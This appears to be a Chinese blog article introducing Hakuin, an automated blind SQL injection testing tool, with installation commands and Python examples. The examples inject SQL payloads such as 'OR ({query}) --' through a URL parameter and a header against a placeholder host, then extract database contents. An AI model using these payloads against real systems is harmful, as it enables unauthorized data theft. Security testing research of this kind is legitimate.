Hakuin:一款自动化SQL盲注(BSQLI)安全检测工具

关于Hakuin

Hakuin是一款功能强大的SQL盲注漏洞安全检测工具,该工具专门针对BSQLi设计,可以帮助广大研究人员优化BSQLi测试用例,并以自动化的形式完成针对目标Web应用程序的漏洞扫描与检测任务。

该工具允许用户以轻松高效的形式对目标Web应用程序执行BSQLi安全检测,并采用了多种优化方法,包括预训练和自适应语言模型、机会性猜测和并行性机制等。

工具安装

由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好最新版本的Python 3环境。

源码安装

广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

复制代码
git clone https://github.com/pruzko/hakuin.git

然后切换到项目目录中,并执行安装命令:

复制代码
cd hakuin

pip3 install -e .

pip安装

除此之外,我们还可以直接使用pip3命令安装Hakuin:

复制代码
pip3 install hakuin

工具使用

Hakuin附带一个简单的封装工具,hk.py允许我们直接从命令行使用Hakuin的基本功能。要了解更多信息,请运行:

复制代码
python3 hk.py -h

使用样例

基于状态推断的查询参数注入检测

复制代码
import aiohttp

from hakuin import Requester

 

class StatusRequester(Requester):

    async def request(self, ctx, query):

        r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')

        return r.status == 200

基于内容推断的Header注入检测

复制代码
class ContentRequester(Requester):

    async def request(self, ctx, query):

        headers = {'vulnerable-header': f'xxx" OR ({query}) --'}

        r = await aiohttp.get(f'http://vuln.com/', headers=headers)

        return 'found' in await r.text()

尝试提取SQLite/MySQL/PSQL/MSSQL数据

复制代码
import asyncio

from hakuin import Extractor, Requester

from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL

 

class StatusRequester(Requester):

    ...

 

async def main():

    # requester:    Use this Requester

    # dbms:         Use this DBMS

    # n_tasks:      Spawns N tasks that extract column rows in parallel

    ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)

    ...

 

if __name__ == '__main__':

    asyncio.get_event_loop().run_until_complete(main())

许可证协议

本项目的开发与发布遵循MIT开源许可协议。

项目地址

Hakuin :【GitHub传送门

参考资料

https://blackhatmea.com/session/hakuin-injecting-brain-blind-sql-injection

Hakuin: Injecting Brains Into Blind SQL Injection - HITBSecConf2023 - Phuket

https://wootconference.org/papers/woot23-paper17.pdf

相关推荐
为美好的生活献上中指4 分钟前
java每日精进 5.11【WebSocket】
java·javascript·css·网络·sql·websocket·网络协议
可喜~可乐28 分钟前
C# SQLite高级功能示例
数据库·sql·sqlite·c#
优质网络系统领域创作者1 小时前
思科(Cisco ASA/Firepower)、华三(H3C)、华为(Huawei USG)防火墙 的基础配置
安全
脑子慢且灵2 小时前
MySQL:关系模型的基本理论
数据库·sql·mysql
AORO_BEIDOU2 小时前
防爆手机与普通手机有什么区别
人工智能·5g·安全·智能手机·信息与通信
码农飞哥2 小时前
互联网大厂Java求职面试实战:Spring Boot与微服务场景深度解析
java·数据库·spring boot·安全·微服务·消息队列·互联网医疗
AORO_BEIDOU3 小时前
遨游5G-A防爆手机:赋能工业通信更快、更安全
5g·安全·智能手机
敲上瘾3 小时前
MySQL数据库表的约束
linux·数据库·sql·mysql·数据库开发·数据库架构·数据库系统
Waitccy4 小时前
Linux 系统安全基线检查:入侵防范测试标准与漏洞修复方法
linux·运维·网络·安全·系统安全·等保
struggle20255 小时前
ebook2audiobook开源程序使用动态 AI 模型和语音克隆将电子书转换为带有章节和元数据的有声读物。支持 1,107+ 种语言
人工智能·开源·自动化